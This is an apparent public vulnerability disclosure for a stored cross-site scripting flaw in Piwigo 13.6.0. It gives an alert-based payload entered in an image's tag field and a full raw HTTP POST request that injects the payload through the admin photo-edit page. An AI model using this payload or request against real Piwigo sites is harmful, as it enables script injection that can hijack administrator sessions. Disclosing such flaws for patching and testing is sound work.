Piwigo 13.6.0 Cross Site Scripting

Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)Application: PiwigoVersion: 13.6.0 Bugs:  Stored XSSTechnology: PHPVendor URL: https://piwigo.org/Software Link: https://piwigo.org/get-piwigoDate of found: 18.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)payload: <img%20src=x%20onerror=alert(4)>POST /piwigo/admin.php?page=photo-9 HTTP/1.1Host: localhostContent-Length: 159Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/piwigo/admin.php?page=photo-9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380feConnection: closename=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings